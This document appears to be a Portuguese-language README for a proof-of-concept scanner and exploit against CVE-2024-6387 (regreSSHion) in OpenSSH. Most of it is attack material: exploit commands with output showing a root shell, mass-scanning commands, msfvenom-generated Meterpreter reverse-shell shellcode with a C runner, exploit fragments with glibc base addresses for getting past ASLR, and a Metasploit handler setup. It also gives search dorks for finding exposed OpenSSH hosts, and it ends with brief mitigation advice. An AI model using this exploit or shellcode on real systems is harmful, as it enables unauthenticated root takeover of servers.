
PoC - Vulnerabilidade de Execução Remota de Código sem Autenticação no servidor OpenSSH (Scanner e Exploit)
CVE-2024-6387 - PoCNota: Este script é um PoC protótipo rápido; alguns erros e bugs podem ocorrer. Testado em: Kali Linux, ParrotSec, Ubuntu 22.04
Vulnerabilidade de Execução Remota de Código sem Autenticação no servidor OpenSSH
Foi encontrada uma condição de corrida no manipulador de sinais do servidor OpenSSH (sshd), onde um cliente não autentica dentro de LoginGraceTime segundos (120 por padrão, 600 em versões antigas do OpenSSH), então o manipulador SIGALRM do sshd é chamado de forma assíncrona. No entanto, este manipulador de sinais chama várias funções que não são async-signal-safe, por exemplo, syslog().
Você pode encontrar os detalhes técnicos aqui.
A falha, descoberta por pesquisadores da Qualys em May 2024 e designada com o identificador CVE-2024-6387, é devida a uma condição de corrida no manipulador de sinais do sshd que permite que atacantes remotos não autenticados executem código arbitrário como root.
"Se um cliente não autenticar dentro de LoginGraceTime segundos (120 por padrão), então o manipulador SIGALRM do sshd é chamado de forma assíncrona e chama várias funções que não são async-signal-safe,"
"Um atacante remoto não autenticado pode tirar proveito desta falha para executar código arbitrário com privilégios de root."
Requisito: python3 mais recente
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --port 22
██████╗ ██████╗ ███████╗███╗ ██╗███████╗███████╗██╗ ██╗
██╔═══██╗██╔══██╗██╔════╝████╗ ██║██╔════╝██╔════╝██║ ██║
██║ ██║██████╔╝█████╗ ██╔██╗ ██║███████╗███████╗███████║
██║ ██║██╔═══╝ ██╔══╝ ██║╚██╗██║╚════██║╚════██║██╔══██║
╚██████╔╝██║ ███████╗██║ ╚████║███████║███████║██║ ██║
╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝╚══════╝╚══════╝╚═╝ ╚═╝
Author: l0n3m4n / Scanner: @xaitax / PoC: @7etsuo
Exploiting vulnerabilities...
Attempting exploitation with glibc base: 0xb7200000
Attempt 0 of 20000
Received SSH version: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
Received KEX_INIT (1024 bytes)
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
.....
Exploitation successful..!
~# whoami && id
root
uid=0(root) gid=0(root) groups=0(root)
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -o json -f result.json
$ python3 CVE-2024-6387.py -s targets.txt -p 22 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -t 10 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101/24 -p 22 -t 5 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 2244 -t 5 -o json -f result.json
# Generating a shellcode
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of c file: 574 bytes
unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
#include <stdio.h>
// A placeholder of your custom payload
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
int main() {
// Execute shellcode
printf("Executing shellcode...\n");
void (*sc)() = (void(*)())shellcode;
sc();
return 0;
}
#include <stdio.h>
#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)
// Possible glibc base addresses (for ASLR bypass)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);
// Shellcode placeholder (replace with actual shellcode)
unsigned char shellcode[] = "\x90\x90\x90\x90";
# compiling payload
$ gcc -shared -o exploit.so -fPIC 7etsuo-regreSSHion.c
# Once you receive a successful exploitation message, the msfconsole automatically initiates a Meterpreter session.
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --p 22
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.100; set LPORT 9999; exploit -j"
/product.name="OpenSSH"app="OpenSSH"product:"OpenSSH"(openssh) and labels=remote-accessGerenciamento de Patches: Aplicar rapidamente os patches disponíveis para o OpenSSH é essencial para fechar a lacuna da vulnerabilidade. A aplicação oportuna de patches garante que exploits conhecidos não possam ser utilizados contra seus sistemas, reduzindo assim a janela de oportunidade para atacantes.
Controle de Acesso Reforçado: Limitar o acesso SSH por meio de controles baseados em rede adiciona uma camada extra de defesa. Essa abordagem minimiza a exposição a possíveis atacantes ao restringir conexões SSH apenas a redes ou endereços IP autorizados. Implementar ferramentas como regras de firewall ou usar VPNs para acesso seguro pode impor efetivamente essas restrições.
Segmentação de Rede: Dividir sua rede em segmentos ajuda a conter o impacto de uma possível violação. Ao segmentar sistemas críticos e dados sensíveis das partes menos críticas da sua rede, você reduz o risco de movimento lateral por parte de atacantes. Essa segmentação pode ser complementada com controles de acesso rigorosos e monitoramento para detectar e responder a quaisquer tentativas não autorizadas de violar esses segmentos.
Sistemas de Detecção de Intrusão (IDS): Implantar IDS ou sistemas de prevenção de intrusão (IPS) permite o monitoramento em tempo real do tráfego de rede e dos logs do sistema. Esses sistemas podem detectar atividades suspeitas e possíveis tentativas de exploração associadas à vulnerabilidade regreSSHion. Alertas disparados por esses sistemas permitem investigação e mitigação imediatas antes que danos significativos possam ocorrer.
Monitoramento de Tentativas de Exploração: O monitoramento contínuo dos logs de rede e do sistema é crucial. Procure por padrões ou atividades incomuns que possam indicar uma tentativa de explorar a vulnerabilidade do OpenSSH. Essa abordagem proativa ajuda a identificar e responder a ameaças antes que elas possam causar danos.